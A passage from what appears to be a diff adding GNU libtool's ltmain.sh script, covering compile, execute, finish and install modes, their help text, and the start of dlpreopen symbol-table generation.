in + arg) + func_fatal_error "you must specify an argument for -Xcompile" + ;; + target) + func_fatal_error "you must specify a target with '-o'" + ;; + *) + # Get the name of the library object. + test -z "$libobj" && { + func_basename "$srcfile" + libobj=$func_basename_result + } + ;; + esac + + # Recognize several different file suffixes. + # If the user specifies -o file.o, it is replaced with file.lo + case $libobj in + *.[cCFSifmso] | \ + *.ada | *.adb | *.ads | *.asm | \ + *.c++ | *.cc | *.ii | *.class | *.cpp | *.cxx | \ + *.[fF][09]? | *.for | *.java | *.go | *.obj | *.sx | *.cu | *.cup) + func_xform "$libobj" + libobj=$func_xform_result + ;; + esac + + case $libobj in + *.lo) func_lo2o "$libobj"; obj=$func_lo2o_result ;; + *) + func_fatal_error "cannot determine name of library object from '$libobj'" + ;; + esac + + func_infer_tag $base_compile + + for arg in $later; do + case $arg in + -shared) + test yes = "$build_libtool_libs" \ + || func_fatal_configuration "cannot build a shared library" + build_old_libs=no + continue + ;; + + -static) + build_libtool_libs=no + build_old_libs=yes + continue + ;; + + -prefer-pic) + pic_mode=yes + continue + ;; + + -prefer-non-pic) + pic_mode=no + continue + ;; + esac + done + + func_quote_arg pretty "$libobj" + test "X$libobj" != "X$func_quote_arg_result" \ + && $ECHO "X$libobj" | $GREP '[]~#^*{};<>?"'"'"' &()|`$[]' \ + && func_warning "libobj name '$libobj' may not contain shell special characters." + func_dirname_and_basename "$obj" "/" "" + objname=$func_basename_result + xdir=$func_dirname_result + lobj=$xdir$objdir/$objname + + test -z "$base_compile" && \ + func_fatal_help "you must specify a compilation command" + + # Delete any leftover library objects. + if test yes = "$build_old_libs"; then + removelist="$obj $lobj $libobj ${libobj}T" + else + removelist="$lobj $libobj ${libobj}T" + fi + + # On Cygwin there's no "real" PIC flag so we must build both object types + case $host_os in + cygwin* | mingw* | pw32* | os2* | cegcc*) + pic_mode=default + ;; + esac + if test no = "$pic_mode" && test pass_all != "$deplibs_check_method"; then + # non-PIC code in shared libraries is not supported + pic_mode=default + fi + + # Calculate the filename of the output object if compiler does + # not support -o with -c + if test no = "$compiler_c_o"; then + output_obj=`$ECHO "$srcfile" | $SED 's%^.*/%%; s%\.[^.]*$%%'`.$objext + lockfile=$output_obj.lock + else + output_obj= + need_locks=no + lockfile= + fi + + # Lock this critical section if it is needed + # We use this script file to make the link, it avoids creating a new file + if test yes = "$need_locks"; then + until $opt_dry_run || ln "$progpath" "$lockfile" 2>/dev/null; do + func_echo "Waiting for $lockfile to be removed" + sleep 2 + done + elif test warn = "$need_locks"; then + if test -f "$lockfile"; then + $ECHO "\ +*** ERROR, $lockfile exists and contains: +`cat $lockfile 2>/dev/null` + +This indicates that another process is trying to use the same +temporary object file, and libtool could not work around it because +your compiler does not support '-c' and '-o' together. If you +repeat this compilation, it may succeed, by chance, but you had better +avoid parallel builds (make -j) in this platform, or get a better +compiler." + + $opt_dry_run || $RM $removelist + exit $EXIT_FAILURE + fi + func_append removelist " $output_obj" + $ECHO "$srcfile" > "$lockfile" + fi + + $opt_dry_run || $RM $removelist + func_append removelist " $lockfile" + trap '$opt_dry_run || $RM $removelist; exit $EXIT_FAILURE' 1 2 15 + + func_to_tool_file "$srcfile" func_convert_file_msys_to_w32 + srcfile=$func_to_tool_file_result + func_quote_arg pretty "$srcfile" + qsrcfile=$func_quote_arg_result + + # Only build a PIC object if we are building libtool libraries. + if test yes = "$build_libtool_libs"; then + # Without this assignment, base_compile gets emptied. + fbsd_hideous_sh_bug=$base_compile + + if test no != "$pic_mode"; then + command="$base_compile $qsrcfile $pic_flag" + else + # Don't build PIC code + command="$base_compile $qsrcfile" + fi + + func_mkdir_p "$xdir$objdir" + + if test -z "$output_obj"; then + # Place PIC objects in $objdir + func_append command " -o $lobj" + fi + + func_show_eval_locale "$command" \ + 'test -n "$output_obj" && $RM $removelist; exit $EXIT_FAILURE' + + if test warn = "$need_locks" && + test "X`cat $lockfile 2>/dev/null`" != "X$srcfile"; then + $ECHO "\ +*** ERROR, $lockfile contains: +`cat $lockfile 2>/dev/null` + +but it should contain: +$srcfile + +This indicates that another process is trying to use the same +temporary object file, and libtool could not work around it because +your compiler does not support '-c' and '-o' together. If you +repeat this compilation, it may succeed, by chance, but you had better +avoid parallel builds (make -j) in this platform, or get a better +compiler." + + $opt_dry_run || $RM $removelist + exit $EXIT_FAILURE + fi + + # Just move the object if needed, then go on to compile the next one + if test -n "$output_obj" && test "X$output_obj" != "X$lobj"; then + func_show_eval '$MV "$output_obj" "$lobj"' \ + 'error=$?; $opt_dry_run || $RM $removelist; exit $error' + fi + + # Allow error messages only from the first compilation. + if test yes = "$suppress_opt"; then + suppress_output=' >/dev/null 2>&1' + fi + fi + + # Only build a position-dependent object if we build old libraries. + if test yes = "$build_old_libs"; then + if test yes != "$pic_mode"; then + # Don't build PIC code + command="$base_compile $qsrcfile$pie_flag" + else + command="$base_compile $qsrcfile $pic_flag" + fi + if test yes = "$compiler_c_o"; then + func_append command " -o $obj" + fi + + # Suppress compiler output if we already did a PIC compilation. + func_append command "$suppress_output" + func_show_eval_locale "$command" \ + '$opt_dry_run || $RM $removelist; exit $EXIT_FAILURE' + + if test warn = "$need_locks" && + test "X`cat $lockfile 2>/dev/null`" != "X$srcfile"; then + $ECHO "\ +*** ERROR, $lockfile contains: +`cat $lockfile 2>/dev/null` + +but it should contain: +$srcfile + +This indicates that another process is trying to use the same +temporary object file, and libtool could not work around it because +your compiler does not support '-c' and '-o' together. If you +repeat this compilation, it may succeed, by chance, but you had better +avoid parallel builds (make -j) in this platform, or get a better +compiler." + + $opt_dry_run || $RM $removelist + exit $EXIT_FAILURE + fi + + # Just move the object if needed + if test -n "$output_obj" && test "X$output_obj" != "X$obj"; then + func_show_eval '$MV "$output_obj" "$obj"' \ + 'error=$?; $opt_dry_run || $RM $removelist; exit $error' + fi + fi + + $opt_dry_run || { + func_write_libtool_object "$libobj" "$objdir/$objname" "$objname" + + # Unlock the critical section if it was locked + if test no != "$need_locks"; then + removelist=$lockfile + $RM "$lockfile" + fi + } + + exit $EXIT_SUCCESS +} + +$opt_help || { + test compile = "$opt_mode" && func_mode_compile ${1+"$@"} +} + +func_mode_help () +{ + # We need to display help for each of the modes. + case $opt_mode in + "") + # Generic help is extracted from the usage comments + # at the start of this file. + func_help + ;; + + clean) + $ECHO \ +"Usage: $progname [OPTION]... --mode=clean RM [RM-OPTION]... FILE... + +Remove files from the build directory. + +RM is the name of the program to use to delete files associated with each FILE +(typically '/bin/rm'). RM-OPTIONS are options (such as '-f') to be passed +to RM. + +If FILE is a libtool library, object or program, all the files associated +with it are deleted. Otherwise, only FILE itself is deleted using RM." + ;; + + compile) + $ECHO \ +"Usage: $progname [OPTION]... --mode=compile COMPILE-COMMAND... SOURCEFILE + +Compile a source file into a libtool library object. + +This mode accepts the following additional options: + + -o OUTPUT-FILE set the output file name to OUTPUT-FILE + -no-suppress do not suppress compiler output for multiple passes + -prefer-pic try to build PIC objects only + -prefer-non-pic try to build non-PIC objects only + -shared do not build a '.o' file suitable for static linking + -static only build a '.o' file suitable for static linking + -Wc,FLAG + -Xcompiler FLAG pass FLAG directly to the compiler + +COMPILE-COMMAND is a command to be used in creating a 'standard' object file +from the given SOURCEFILE. + +The output file name is determined by removing the directory component from +SOURCEFILE, then substituting the C source code suffix '.c' with the +library object suffix, '.lo'." + ;; + + execute) + $ECHO \ +"Usage: $progname [OPTION]... --mode=execute COMMAND [ARGS]... + +Automatically set library path, then run a program. + +This mode accepts the following additional options: + + -dlopen FILE add the directory containing FILE to the library path + +This mode sets the library path environment variable according to '-dlopen' +flags. + +If any of the ARGS are libtool executable wrappers, then they are translated +into their corresponding uninstalled binary, and any of their required library +directories are added to the library path. + +Then, COMMAND is executed, with ARGS as arguments." + ;; + + finish) + $ECHO \ +"Usage: $progname [OPTION]... --mode=finish [LIBDIR]... + +Complete the installation of libtool libraries. + +Each LIBDIR is a directory that contains libtool libraries. + +The commands that this mode executes may require superuser privileges. Use +the '--dry-run' option if you just want to see what would be executed." + ;; + + install) + $ECHO \ +"Usage: $progname [OPTION]... --mode=install INSTALL-COMMAND... + +Install executables or libraries. + +INSTALL-COMMAND is the installation command. The first component should be +either the 'install' or 'cp' program. + +The following components of INSTALL-COMMAND are treated specially: + + -inst-prefix-dir PREFIX-DIR Use PREFIX-DIR as a staging area for installation + +The rest of the components are interpreted as arguments to that command (only +BSD-compatible install options are recognized)." + ;; + + link) + $ECHO \ +"Usage: $progname [OPTION]... --mode=link LINK-COMMAND... + +Link object files or libraries together to form another library, or to +create an executable program. + +LINK-COMMAND is a command using the C compiler that you would use to create +a program from several object files. + +The following components of LINK-COMMAND are treated specially: + + -all-static do not do any dynamic linking at all + -avoid-version do not add a version suffix if possible + -bindir BINDIR specify path to binaries directory (for systems where + libraries must be found in the PATH setting at runtime) + -dlopen FILE '-dlpreopen' FILE if it cannot be dlopened at runtime + -dlpreopen FILE link in FILE and add its symbols to lt_preloaded_symbols + -export-dynamic allow symbols from OUTPUT-FILE to be resolved with dlsym(3) + -export-symbols SYMFILE + try to export only the symbols listed in SYMFILE + -export-symbols-regex REGEX + try to export only the symbols matching REGEX + -LLIBDIR search LIBDIR for required installed libraries + -lNAME OUTPUT-FILE requires the installed library libNAME + -module build a library that can dlopened + -no-fast-install disable the fast-install mode + -no-install link a not-installable executable + -no-undefined declare that a library does not refer to external symbols + -o OUTPUT-FILE create OUTPUT-FILE from the specified objects + -objectlist FILE use a list of object files found in FILE to specify objects + -os2dllname NAME force a short DLL name on OS/2 (no effect on other OSes) + -precious-files-regex REGEX + don't remove output files matching REGEX + -release RELEASE specify package release information + -rpath LIBDIR the created library will eventually be installed in LIBDIR + -R[ ]LIBDIR add LIBDIR to the runtime path of programs and libraries + -shared only do dynamic linking of libtool libraries + -shrext SUFFIX override the standard shared library file extension + -static do not do any dynamic linking of uninstalled libtool libraries + -static-libtool-libs + do not do any dynamic linking of libtool libraries + -version-info CURRENT[:REVISION[:AGE]] + specify library version info [each variable defaults to 0] + -weak LIBNAME declare that the target provides the LIBNAME interface + -Wc,FLAG + -Xcompiler FLAG pass linker-specific FLAG directly to the compiler + -Wa,FLAG + -Xassembler FLAG pass linker-specific FLAG directly to the assembler + -Wl,FLAG + -Xlinker FLAG pass linker-specific FLAG directly to the linker + -XCClinker FLAG pass link-specific FLAG to the compiler driver (CC) + +All other options (arguments beginning with '-') are ignored. + +Every other argument is treated as a filename. Files ending in '.la' are +treated as uninstalled libtool libraries, other files are standard or library +object files. + +If the OUTPUT-FILE ends in '.la', then a libtool library is created, +only library objects ('.lo' files) may be specified, and '-rpath' is +required, except when creating a convenience library. + +If OUTPUT-FILE ends in '.a' or '.lib', then a standard library is created +using 'ar' and 'ranlib', or on Windows using 'lib'. + +If OUTPUT-FILE ends in '.lo' or '.$objext', then a reloadable object file +is created, otherwise an executable program is created." + ;; + + uninstall) + $ECHO \ +"Usage: $progname [OPTION]... --mode=uninstall RM [RM-OPTION]... FILE... + +Remove libraries from an installation directory. + +RM is the name of the program to use to delete files associated with each FILE +(typically '/bin/rm'). RM-OPTIONS are options (such as '-f') to be passed +to RM. + +If FILE is a libtool library, all the files associated with it are deleted. +Otherwise, only FILE itself is deleted using RM." + ;; + + *) + func_fatal_help "invalid operation mode '$opt_mode'" + ;; + esac + + echo + $ECHO "Try '$progname --help' for more information about other modes." +} + +# Now that we've collected a possible --mode arg, show help if necessary +if $opt_help; then + if test : = "$opt_help"; then + func_mode_help + else + { + func_help noexit + for opt_mode in compile link execute install finish uninstall clean; do + func_mode_help + done + } | $SED -n '1p; 2,$s/^Usage:/ or: /p' + { + func_help noexit + for opt_mode in compile link execute install finish uninstall clean; do + echo + func_mode_help + done + } | + $SED '1d + /^When reporting/,/^Report/{ + H + d + } + $x + /information about other modes/d + /more detailed .*MODE/d + s/^Usage:.*--mode=\([^ ]*\) .*/Description of \1 mode:/' + fi + exit $? +fi + + +# func_mode_execute arg... +func_mode_execute () +{ + $debug_cmd + + # The first argument is the command name. + cmd=$nonopt + test -z "$cmd" && \ + func_fatal_help "you must specify a COMMAND" + + # Handle -dlopen flags immediately. + for file in $opt_dlopen; do + test -f "$file" \ + || func_fatal_help "'$file' is not a file" + + dir= + case $file in + *.la) + func_resolve_sysroot "$file" + file=$func_resolve_sysroot_result + + # Check to see that this really is a libtool archive. + func_lalib_unsafe_p "$file" \ + || func_fatal_help "'$lib' is not a valid libtool archive" + + # Read the libtool library. + dlname= + library_names= + func_source "$file" + + # Skip this library if it cannot be dlopened. + if test -z "$dlname"; then + # Warn if it was a shared library. + test -n "$library_names" && \ + func_warning "'$file' was not linked with '-export-dynamic'" + continue + fi + + func_dirname "$file" "" "." + dir=$func_dirname_result + + if test -f "$dir/$objdir/$dlname"; then + func_append dir "/$objdir" + else + if test ! -f "$dir/$dlname"; then + func_fatal_error "cannot find '$dlname' in '$dir' or '$dir/$objdir'" + fi + fi + ;; + + *.lo) + # Just add the directory containing the .lo file. + func_dirname "$file" "" "." + dir=$func_dirname_result + ;; + + *) + func_warning "'-dlopen' is ignored for non-libtool libraries and objects" + continue + ;; + esac + + # Get the absolute pathname. + absdir=`cd "$dir" && pwd` + test -n "$absdir" && dir=$absdir + + # Now add the directory to shlibpath_var. + if eval "test -z \"\$$shlibpath_var\""; then + eval "$shlibpath_var=\"\$dir\"" + else + eval "$shlibpath_var=\"\$dir:\$$shlibpath_var\"" + fi + done + + # This variable tells wrapper scripts just to set shlibpath_var + # rather than running their programs. + libtool_execute_magic=$magic + + # Check if any of the arguments is a wrapper script. + args= + for file + do + case $file in + -* | *.la | *.lo ) ;; + *) + # Do a test to see if this is really a libtool program. + if func_ltwrapper_script_p "$file"; then + func_source "$file" + # Transform arg to wrapped name. + file=$progdir/$program + elif func_ltwrapper_executable_p "$file"; then + func_ltwrapper_scriptname "$file" + func_source "$func_ltwrapper_scriptname_result" + # Transform arg to wrapped name. + file=$progdir/$program + fi + ;; + esac + # Quote arguments (to preserve shell metacharacters). + func_append_quoted args "$file" + done + + if $opt_dry_run; then + # Display what would be done. + if test -n "$shlibpath_var"; then + eval "\$ECHO \"\$shlibpath_var=\$$shlibpath_var\"" + echo "export $shlibpath_var" + fi + $ECHO "$cmd$args" + exit $EXIT_SUCCESS + else + if test -n "$shlibpath_var"; then + # Export the shlibpath_var. + eval "export $shlibpath_var" + fi + + # Restore saved environment variables + for lt_var in LANG LANGUAGE LC_ALL LC_CTYPE LC_COLLATE LC_MESSAGES + do + eval "if test \"\${save_$lt_var+set}\" = set; then + $lt_var=\$save_$lt_var; export $lt_var + else + $lt_unset $lt_var + fi" + done + + # Now prepare to actually exec the command. + exec_cmd=\$cmd$args + fi +} + +test execute = "$opt_mode" && func_mode_execute ${1+"$@"} + + +# func_mode_finish arg... +func_mode_finish () +{ + $debug_cmd + + libs= + libdirs= + admincmds= + + for opt in "$nonopt" ${1+"$@"} + do + if test -d "$opt"; then + func_append libdirs " $opt" + + elif test -f "$opt"; then + if func_lalib_unsafe_p "$opt"; then + func_append libs " $opt" + else + func_warning "'$opt' is not a valid libtool archive" + fi + + else + func_fatal_error "invalid argument '$opt'" + fi + done + + if test -n "$libs"; then + if test -n "$lt_sysroot"; then + sysroot_regex=`$ECHO "$lt_sysroot" | $SED "$sed_make_literal_regex"` + sysroot_cmd="s/\([ ']\)$sysroot_regex/\1/g;" + else + sysroot_cmd= + fi + + # Remove sysroot references + if $opt_dry_run; then + for lib in $libs; do + echo "removing references to $lt_sysroot and '=' prefixes from $lib" + done + else + tmpdir=`func_mktempdir` + for lib in $libs; do + $SED -e "$sysroot_cmd s/\([ ']-[LR]\)=/\1/g; s/\([ ']\)=/\1/g" $lib \ + > $tmpdir/tmp-la + mv -f $tmpdir/tmp-la $lib + done + ${RM}r "$tmpdir" + fi + fi + + if test -n "$finish_cmds$finish_eval" && test -n "$libdirs"; then + for libdir in $libdirs; do + if test -n "$finish_cmds"; then + # Do each command in the finish commands. + func_execute_cmds "$finish_cmds" 'admincmds="$admincmds +'"$cmd"'"' + fi + if test -n "$finish_eval"; then + # Do the single finish_eval. + eval cmds=\"$finish_eval\" + $opt_dry_run || eval "$cmds" || func_append admincmds " + $cmds" + fi + done + fi + + # Exit here if they wanted silent mode. + $opt_quiet && exit $EXIT_SUCCESS + + if test -n "$finish_cmds$finish_eval" && test -n "$libdirs"; then + echo "----------------------------------------------------------------------" + echo "Libraries have been installed in:" + for libdir in $libdirs; do + $ECHO " $libdir" + done + echo + echo "If you ever happen to want to link against installed libraries" + echo "in a given directory, LIBDIR, you must either use libtool, and" + echo "specify the full pathname of the library, or use the '-LLIBDIR'" + echo "flag during linking and do at least one of the following:" + if test -n "$shlibpath_var"; then + echo " - add LIBDIR to the '$shlibpath_var' environment variable" + echo " during execution" + fi + if test -n "$runpath_var"; then + echo " - add LIBDIR to the '$runpath_var' environment variable" + echo " during linking" + fi + if test -n "$hardcode_libdir_flag_spec"; then + libdir=LIBDIR + eval flag=\"$hardcode_libdir_flag_spec\" + + $ECHO " - use the '$flag' linker flag" + fi + if test -n "$admincmds"; then + $ECHO " - have your system administrator run these commands:$admincmds" + fi + if test -f /etc/ld.so.conf; then + echo " - have your system administrator add LIBDIR to '/etc/ld.so.conf'" + fi + echo + + echo "See any operating system documentation about shared libraries for" + case $host in + solaris2.[6789]|solaris2.1[0-9]) + echo "more information, such as the ld(1), crle(1) and ld.so(8) manual" + echo "pages." + ;; + *) + echo "more information, such as the ld(1) and ld.so(8) manual pages." + ;; + esac + echo "----------------------------------------------------------------------" + fi + exit $EXIT_SUCCESS +} + +test finish = "$opt_mode" && func_mode_finish ${1+"$@"} + + +# func_mode_install arg... +func_mode_install () +{ + $debug_cmd + + # There may be an optional sh(1) argument at the beginning of + # install_prog (especially on Windows NT). + if test "$SHELL" = "$nonopt" || test /bin/sh = "$nonopt" || + # Allow the use of GNU shtool's install command. + case $nonopt in *shtool*) :;; *) false;; esac + then + # Aesthetically quote it. + func_quote_arg pretty "$nonopt" + install_prog="$func_quote_arg_result " + arg=$1 + shift + else + install_prog= + arg=$nonopt + fi + + # The real first argument should be the name of the installation program. + # Aesthetically quote it. + func_quote_arg pretty "$arg" + func_append install_prog "$func_quote_arg_result" + install_shared_prog=$install_prog + case " $install_prog " in + *[\\\ /]cp\ *) install_cp=: ;; + *) install_cp=false ;; + esac + + # We need to accept at least all the BSD install flags. + dest= + files= + opts= + prev= + install_type= + isdir=false + stripme= + no_mode=: + for arg + do + arg2= + if test -n "$dest"; then + func_append files " $dest" + dest=$arg + continue + fi + + case $arg in + -d) isdir=: ;; + -f) + if $install_cp; then :; else + prev=$arg + fi + ;; + -g | -m | -o) + prev=$arg + ;; + -s) + stripme=" -s" + continue + ;; + -*) + ;; + *) + # If the previous option needed an argument, then skip it. + if test -n "$prev"; then + if test X-m = "X$prev" && test -n "$install_override_mode"; then + arg2=$install_override_mode + no_mode=false + fi + prev= + else + dest=$arg + continue + fi + ;; + esac + + # Aesthetically quote the argument. + func_quote_arg pretty "$arg" + func_append install_prog " $func_quote_arg_result" + if test -n "$arg2"; then + func_quote_arg pretty "$arg2" + fi + func_append install_shared_prog " $func_quote_arg_result" + done + + test -z "$install_prog" && \ + func_fatal_help "you must specify an install program" + + test -n "$prev" && \ + func_fatal_help "the '$prev' option requires an argument" + + if test -n "$install_override_mode" && $no_mode; then + if $install_cp; then :; else + func_quote_arg pretty "$install_override_mode" + func_append install_shared_prog " -m $func_quote_arg_result" + fi + fi + + if test -z "$files"; then + if test -z "$dest"; then + func_fatal_help "no file or destination specified" + else + func_fatal_help "you must specify a destination" + fi + fi + + # Strip any trailing slash from the destination. + func_stripname '' '/' "$dest" + dest=$func_stripname_result + + # Check to see that the destination is a directory. + test -d "$dest" && isdir=: + if $isdir; then + destdir=$dest + destname= + else + func_dirname_and_basename "$dest" "" "." + destdir=$func_dirname_result + destname=$func_basename_result + + # Not a directory, so check to see that there is only one file specified. + set dummy $files; shift + test "$#" -gt 1 && \ + func_fatal_help "'$dest' is not a directory" + fi + case $destdir in + [\\/]* | [A-Za-z]:[\\/]*) ;; + *) + for file in $files; do + case $file in + *.lo) ;; + *) + func_fatal_help "'$destdir' must be an absolute directory name" + ;; + esac + done + ;; + esac + + # This variable tells wrapper scripts just to set variables rather + # than running their programs. + libtool_install_magic=$magic + + staticlibs= + future_libdirs= + current_libdirs= + for file in $files; do + + # Do each installation. + case $file in + *.$libext) + # Do the static libraries later. + func_append staticlibs " $file" + ;; + + *.la) + func_resolve_sysroot "$file" + file=$func_resolve_sysroot_result + + # Check to see that this really is a libtool archive. + func_lalib_unsafe_p "$file" \ + || func_fatal_help "'$file' is not a valid libtool archive" + + library_names= + old_library= + relink_command= + func_source "$file" + + # Add the libdir to current_libdirs if it is the destination. + if test "X$destdir" = "X$libdir"; then + case "$current_libdirs " in + *" $libdir "*) ;; + *) func_append current_libdirs " $libdir" ;; + esac + else + # Note the libdir as a future libdir. + case "$future_libdirs " in + *" $libdir "*) ;; + *) func_append future_libdirs " $libdir" ;; + esac + fi + + func_dirname "$file" "/" "" + dir=$func_dirname_result + func_append dir "$objdir" + + if test -n "$relink_command"; then + # Determine the prefix the user has applied to our future dir. + inst_prefix_dir=`$ECHO "$destdir" | $SED -e "s%$libdir\$%%"` + + # Don't allow the user to place us outside of our expected + # location b/c this prevents finding dependent libraries that + # are installed to the same prefix. + # At present, this check doesn't affect windows .dll's that + # are installed into $libdir/../bin (currently, that works fine) + # but it's something to keep an eye on. + test "$inst_prefix_dir" = "$destdir" && \ + func_fatal_error "error: cannot install '$file' to a directory not ending in $libdir" + + if test -n "$inst_prefix_dir"; then + # Stick the inst_prefix_dir data into the link command. + relink_command=`$ECHO "$relink_command" | $SED "s%@inst_prefix_dir@%-inst-prefix-dir $inst_prefix_dir%"` + else + relink_command=`$ECHO "$relink_command" | $SED "s%@inst_prefix_dir@%%"` + fi + + func_warning "relinking '$file'" + func_show_eval "$relink_command" \ + 'func_fatal_error "error: relink '\''$file'\'' with the above command before installing it"' + fi + + # See the names of the shared library. + set dummy $library_names; shift + if test -n "$1"; then + realname=$1 + shift + + srcname=$realname + test -n "$relink_command" && srcname=${realname}T + + # Install the shared library and build the symlinks. + func_show_eval "$install_shared_prog $dir/$srcname $destdir/$realname" \ + 'exit $?' + tstripme=$stripme + case $host_os in + cygwin* | mingw* | pw32* | cegcc*) + case $realname in + *.dll.a) + tstripme= + ;; + esac + ;; + os2*) + case $realname in + *_dll.a) + tstripme= + ;; + esac + ;; + esac + if test -n "$tstripme" && test -n "$striplib"; then + func_show_eval "$striplib $destdir/$realname" 'exit $?' + fi + + if test "$#" -gt 0; then + # Delete the old symlinks, and create new ones. + # Try 'ln -sf' first, because the 'ln' binary might depend on + # the symlink we replace! Solaris /bin/ln does not understand -f, + # so we also need to try rm && ln -s. + for linkname + do + test "$linkname" != "$realname" \ + && func_show_eval "(cd $destdir && { $LN_S -f $realname $linkname || { $RM $linkname && $LN_S $realname $linkname; }; })" + done + fi + + # Do each command in the postinstall commands. + lib=$destdir/$realname + func_execute_cmds "$postinstall_cmds" 'exit $?' + fi + + # Install the pseudo-library for information purposes. + func_basename "$file" + name=$func_basename_result + instname=$dir/${name}i + func_show_eval "$install_prog $instname $destdir/$name" 'exit $?' + + # Maybe install the static library, too. + test -n "$old_library" && func_append staticlibs " $dir/$old_library" + ;; + + *.lo) + # Install (i.e. copy) a libtool object. + + # Figure out destination file name, if it wasn't already specified. + if test -n "$destname"; then + destfile=$destdir/$destname + else + func_basename "$file" + destfile=$func_basename_result + destfile=$destdir/$destfile + fi + + # Deduce the name of the destination old-style object file. + case $destfile in + *.lo) + func_lo2o "$destfile" + staticdest=$func_lo2o_result + ;; + *.$objext) + staticdest=$destfile + destfile= + ;; + *) + func_fatal_help "cannot copy a libtool object to '$destfile'" + ;; + esac + + # Install the libtool object if requested. + test -n "$destfile" && \ + func_show_eval "$install_prog $file $destfile" 'exit $?' + + # Install the old object if enabled. + if test yes = "$build_old_libs"; then + # Deduce the name of the old-style object file. + func_lo2o "$file" + staticobj=$func_lo2o_result + func_show_eval "$install_prog \$staticobj \$staticdest" 'exit $?' + fi + exit $EXIT_SUCCESS + ;; + + *) + # Figure out destination file name, if it wasn't already specified. + if test -n "$destname"; then + destfile=$destdir/$destname + else + func_basename "$file" + destfile=$func_basename_result + destfile=$destdir/$destfile + fi + + # If the file is missing, and there is a .exe on the end, strip it + # because it is most likely a libtool script we actually want to + # install + stripped_ext= + case $file in + *.exe) + if test ! -f "$file"; then + func_stripname '' '.exe' "$file" + file=$func_stripname_result + stripped_ext=.exe + fi + ;; + esac + + # Do a test to see if this is really a libtool program. + case $host in + *cygwin* | *mingw*) + if func_ltwrapper_executable_p "$file"; then + func_ltwrapper_scriptname "$file" + wrapper=$func_ltwrapper_scriptname_result + else + func_stripname '' '.exe' "$file" + wrapper=$func_stripname_result + fi + ;; + *) + wrapper=$file + ;; + esac + if func_ltwrapper_script_p "$wrapper"; then + notinst_deplibs= + relink_command= + + func_source "$wrapper" + + # Check the variables that should have been set. + test -z "$generated_by_libtool_version" && \ + func_fatal_error "invalid libtool wrapper script '$wrapper'" + + finalize=: + for lib in $notinst_deplibs; do + # Check to see that each library is installed. + libdir= + if test -f "$lib"; then + func_source "$lib" + fi + libfile=$libdir/`$ECHO "$lib" | $SED 's%^.*/%%g'` + if test -n "$libdir" && test ! -f "$libfile"; then + func_warning "'$lib' has not been installed in '$libdir'" + finalize=false + fi + done + + relink_command= + func_source "$wrapper" + + outputname= + if test no = "$fast_install" && test -n "$relink_command"; then + $opt_dry_run || { + if $finalize; then + tmpdir=`func_mktempdir` + func_basename "$file$stripped_ext" + file=$func_basename_result + outputname=$tmpdir/$file + # Replace the output file specification. + relink_command=`$ECHO "$relink_command" | $SED 's%@OUTPUT@%'"$outputname"'%g'` + + $opt_quiet || { + func_quote_arg expand,pretty "$relink_command" + eval "func_echo $func_quote_arg_result" + } + if eval "$relink_command"; then : + else + func_error "error: relink '$file' with the above command before installing it" + $opt_dry_run || ${RM}r "$tmpdir" + continue + fi + file=$outputname + else + func_warning "cannot relink '$file'" + fi + } + else + # Install the binary that we compiled earlier. + file=`$ECHO "$file$stripped_ext" | $SED "s%\([^/]*\)$%$objdir/\1%"` + fi + fi + + # remove .exe since cygwin /usr/bin/install will append another + # one anyway + case $install_prog,$host in + */usr/bin/install*,*cygwin*) + case $file:$destfile in + *.exe:*.exe) + # this is ok + ;; + *.exe:*) + destfile=$destfile.exe + ;; + *:*.exe) + func_stripname '' '.exe' "$destfile" + destfile=$func_stripname_result + ;; + esac + ;; + esac + func_show_eval "$install_prog\$stripme \$file \$destfile" 'exit $?' + $opt_dry_run || if test -n "$outputname"; then + ${RM}r "$tmpdir" + fi + ;; + esac + done + + for file in $staticlibs; do + func_basename "$file" + name=$func_basename_result + + # Set up the ranlib parameters. + oldlib=$destdir/$name + func_to_tool_file "$oldlib" func_convert_file_msys_to_w32 + tool_oldlib=$func_to_tool_file_result + + func_show_eval "$install_prog \$file \$oldlib" 'exit $?' + + if test -n "$stripme" && test -n "$old_striplib"; then + func_show_eval "$old_striplib $tool_oldlib" 'exit $?' + fi + + # Do each command in the postinstall commands. + func_execute_cmds "$old_postinstall_cmds" 'exit $?' + done + + test -n "$future_libdirs" && \ + func_warning "remember to run '$progname --finish$future_libdirs'" + + if test -n "$current_libdirs"; then + # Maybe just do a dry run. + $opt_dry_run && current_libdirs=" -n$current_libdirs" + exec_cmd='$SHELL "$progpath" $preserve_args --finish$current_libdirs' + else + exit $EXIT_SUCCESS + fi +} + +test install = "$opt_mode" && func_mode_install ${1+"$@"} + + +# func_generate_dlsyms outputname originator pic_p +# Extract symbols from dlprefiles and create ${outputname}S.o with +# a dlpreopen symbol table. +func_generate_dlsyms () +{ + $debug_cmd + + my_outputname=$1 + my_originator=$2 + my_pic_p=${3-false} + my_prefix=`$ECHO "$my_originator" | $SED 's%[^a-zA-Z0-9]%_%g'` + my_dlsyms= + + if test -n "$dlfiles$dlprefiles" || test no != "$dlself"; then + if test -n "$NM" && test -n "$global_symbol_pipe"; then + my_dlsyms=${my_outputname}S.c + else + func_error "not configured to extract global symbols from dlpreopened files" + fi + fi + + if test -n "$my_dlsyms"; then + case $my_dlsyms in + "") ;; + *.c) + # Discover the nlist of each of the dlfiles. + nlist=$output_objdir/$my_outputname.nm + + func_show_eval "$RM $nlist ${nlist}S ${nlist}T" + + # Parse the name list into a source file. + func_verbose "creating $output_objdir/$my_dlsyms" + + $opt_dry_run || $ECHO > "$output_objdir/$my_dlsyms" "\ +/* $my_dlsyms - symbol resolution table for '$my_outputname' dlsym emulation. */ +/* Generated by $PROGRAM (GNU $PACKAGE) $VERSION */ + +#ifdef __cplusplus +extern \"C\" { +#endif + +#if defined __GNUC__ && (((__GNUC__ == 4) && (__GNUC_MINOR__ >= 4)) || (__GNUC__ > 4)) +#pragma GCC diagnostic ignored \"-Wstrict-prototypes\" +#endif + +/* Keep this code in sync between libtool.m4, ltmain, lt_system.h, and tests. */ +#if defined _WIN32 || defined __CYGWIN__ || defined _WIN32_WCE +/* DATA imports from DLLs on WIN32 can't be const, because runtime + relocations are performed -- see ld's documentation on pseudo-relocs. */ +# define LT_DLSYM_CONST +#elif defined __osf__ +/* This system does not cope well with relocations in const data. */ +# define LT_DLSYM_CONST +#else +# define LT_DLSYM_CONST const +#endif + +#define STREQ(s1, s2) (strcmp ((s1), (s2)) == 0) + +/* External symbol declarations for the compiler. */\ +" + + if test yes = "$dlself"; then + func_verbose "generating symbol list for '$output'" + + $opt_dry_run || echo ': @PROGRAM@ ' > "$nlist" + + # Add our own program objects to the symbol list. + progfiles=`$ECHO "$objs$old_deplibs" | $SP2NL | $SED "$lo2o" | 